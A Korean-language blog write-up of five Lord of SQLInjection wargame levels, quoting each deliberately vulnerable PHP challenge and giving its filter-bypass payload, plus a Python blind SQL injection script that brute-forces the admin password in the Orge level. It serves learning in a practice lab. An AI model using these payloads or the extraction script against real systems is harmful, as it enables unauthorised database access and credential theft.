[LORD OF SQLINJECTION] Darkelf, Orge, Troll, Vampire, Skeleton Write-Up

· omacs's blog


Table of Contents

Darkelf #

Problem Description and Analysis #

본 문제는 다음과 같이 제시된다[1]:

 1<?php 
 2  include "./config.php"; 
 3  login_chk(); 
 4  $db = dbconnect();  
 5  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
 6  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
 7  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
 8  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
 9  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
10  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
11  if($result['id'] == 'admin') solve("darkelf"); 
12  highlight_file(__FILE__); 
13?>

제시된 문제를 살펴보면 and와 or을 필터링하고 있음을 알 수 있고, 이는 각각 &&와 ||로 우회할 수 있다.

Exploit #

SQLi를 위한 pw parameter 값은 다음과 같다:

pw=-1%27||id=%27admin

Orge #

Problem Description and Analysis #

본 문제는 다음과 같이 제시된다[2]:

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

제시된 문제를 살펴보면 두 개의 query가 실행되고 두 번째 query의 결과값과 pw parameter의 값이 같을 때 문제가 풀림을 알 수 있다. 즉, admin의 pw를 알아내야 하고, 이는 첫 번째 query가 성공했을 때 "Hello admin"을 출력하는 코드를 이용하여 유추할 수 있다. 이때 첫 번째 query에 대해 and와 or을 필터링하므로 유추하기 위한 query에는 and나 or이 포함돼서는 안된다.

Exploit #

제시된 문제의 pw를 얻는 과정은 다음 세 단계를 거친다:

  1. Get the length of a pw
  2. Get the bit length of each character in a pw
  3. Get the ascii code of each character

첫 단계인 pw의 길이를 얻는 방법은 SQL 함수 중 하나인 length()에 pw를 전달했을 때의 return 값과 일치하는 값을 반복문으로 찾는 것이다.

다음 단계인 pw를 구성하는 각 문자의 비트 길이를 구하는 방법은 첫 단계에서와 비슷하게 length()를 사용한다. 다만, 각 문자의 비트 길이이므로 SQL substr()으로 각 문자를 추출하고 ascii()와 bin()으로 비트열을 얻어서 길이를 구해야 한다 (ord 함수에는 or이 포함됨을 기억하라).

마지막 단계인 각 문자의 아스키 코드 값을 구하는 방법은 이전 단계에서 얻은 비트열 길이에 따른 범위의 값을 bruteforce하는 것이다. 물론, printable character 범위를 각각 지정해서 대입하거나, 앞 단계에서 사용한 방법과 같이 비트열을 이용하는 방법이 있다[3, 4].

지금까지 설명한 것을 코드로 작성하면 다음과 같다 (Cookie 같은 적절한 값으로 수정해야 함에 주의하라):

 1import requests
 2
 3def get_request_response(arg_url, arg_header):
 4    response = requests.get(arg_url, headers=arg_header)
 5    return response.text
 6
 7def build_query_pwlen(arg_url, arg_pwlen):
 8    query = f"{arg_url}'||id='admin'%26%26length(pw)={arg_pwlen}--%09"
 9    return query
10
11def get_pwlen(arg_url, arg_header):
12    password_length = 0
13    while True:
14	query_url = build_query_pwlen(arg_url, password_length)
15	query_result = get_request_response(query_url, arg_header)
16	print(query_url)
17	if "<h2>" in query_result:
18	    break
19	password_length += 1
20    return password_length
21
22def build_query_bitlen(arg_url, arg_loc, arg_bitlen):
23    query = f"{arg_url}'||id='admin'%26%26length(bin(ascii(substr(pw, {arg_loc}, 1))))={arg_bitlen}--%09"
24    return query
25
26def get_charset(arg_url, arg_header, arg_pwlen):
27    bit_length = 0
28    bit_length_lst = []
29    for i in range(1, arg_pwlen + 1):
30	bit_length = 0
31	while True:
32	    query_url = build_query_bitlen(arg_url, i, bit_length)
33	    query_result = get_request_response(query_url, arg_header)
34	    print(query_url)
35	    if "<h2>" in query_result:
36		bit_length_lst.append(bit_length)
37		break
38	    bit_length += 1
39    return bit_length_lst
40
41def build_query_pwchar(arg_url, arg_loc, arg_pwchar):
42    query = f"{arg_url}'||id='admin'%26%26ascii(substr(pw, {arg_loc}, 1))={arg_pwchar}-- "
43    return query
44
45def get_pw(arg_url, arg_header, arg_pwlen, arg_bitlen_lst):
46    password_lst = []
47    for i in range(1, arg_pwlen + 1):
48	for j in range(0, 1 << (arg_bitlen_lst[i - 1] - 1) + 1):
49	    query_url = build_query_pwchar(arg_url, i, j)
50	    query_result = get_request_response(query_url, arg_header)
51	    print(f"query url: {query_url}")
52	    if "<h2>" in query_result:
53		print(j)
54		password_lst.append(j)
55		break
56	if j == 1 << (arg_bitlen_lst[i - 1]):
57	    print('Not found')
58	    break
59    return password_lst
60
61if __name__ == "__main__":
62    url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='
63    header = { 'cookie': 'PHPSESSID=MydEAdbEef' }
64
65    print('---[ Stage 1: Get password length')
66    password_length = get_pwlen(url, header)
67    print(f"Password length: {password_length}\n")
68
69    print('---[ Stage 2: Check character set')
70    bit_length_lst = get_charset(url, header, password_length)
71    print(f"Bit length list: {bit_length_lst}")
72
73    print('---[ Stage 3: Bruteforce password')
74    password_lst = get_pw(url, header, password_length, bit_length_lst)
75    password_string = [chr(x) for x in password_lst]
76    print(f"Password: {password_string}")

Troll #

Problem Description and Analysis #

본 문제는 다음과 같이 제시된다[5]:

<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

제시된 문제를 살펴보면 "admin" 문자열을 필터링하고 있음을 알 수 있다. 그런데 표현식을 보면 대소문자를 구분한다는 것을 확인할 수 있고, 이를 이용하여 우회할 수 있다.

Exploit #

SQLi를 위한 id parameter 값은 다음과 같다:

id=adMin

Vampire #

Problem Description and Analysis #

본 문제는 다음과 같이 제시된다[6]:

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

제시된 문제를 살펴보면 "admin" 문자열 필터링을 하고 있음을 알 수 있다. 그리고 필터링 방식은 해당 문자열을 ""으로 없애는 것이다. 하지만 이러한 필터링 방식은 중간에 필터링되는 문자열을 끼워넣는 방식으로 우회할 수 있다.

Exploit #

SQLi를 위한 id parameter는 다음과 같다:

id=adadminmin

Skeleton #

Problem Description and Analysis #

본 문제는 다음과 같이 제시된다[7]:

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

제시된 문제를 살펴보면 pw parameter 뒤에 false인 조건식이 있어 query가 항상 false임을 알 수 있다. 하지만 이는 주석으로 우회할 수 있다.

Exploit #

SQLi를 위한 pw parameter 값은 다음과 같다:

pw=%27or id=%27admin%27%23

References #

  1. "darkelf," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].
  2. "orge," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].
  3. msh1307, "LORD OF SQL INJECTION ORC 풀이". [Online]. Available: https://msh1307.tistory.com/26, [Accessed Mar. 07, 2024].
  4. zzsla, "[Lord of SQLInjection]orc write up". [Online]. Available: https://velog.io/@zzsla/Lord-of-SQLInjectionorc-write-up, [Accessed Mar. 07, 2024].
  5. "troll," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].
  6. "vampire," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].
  7. "skeleton," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].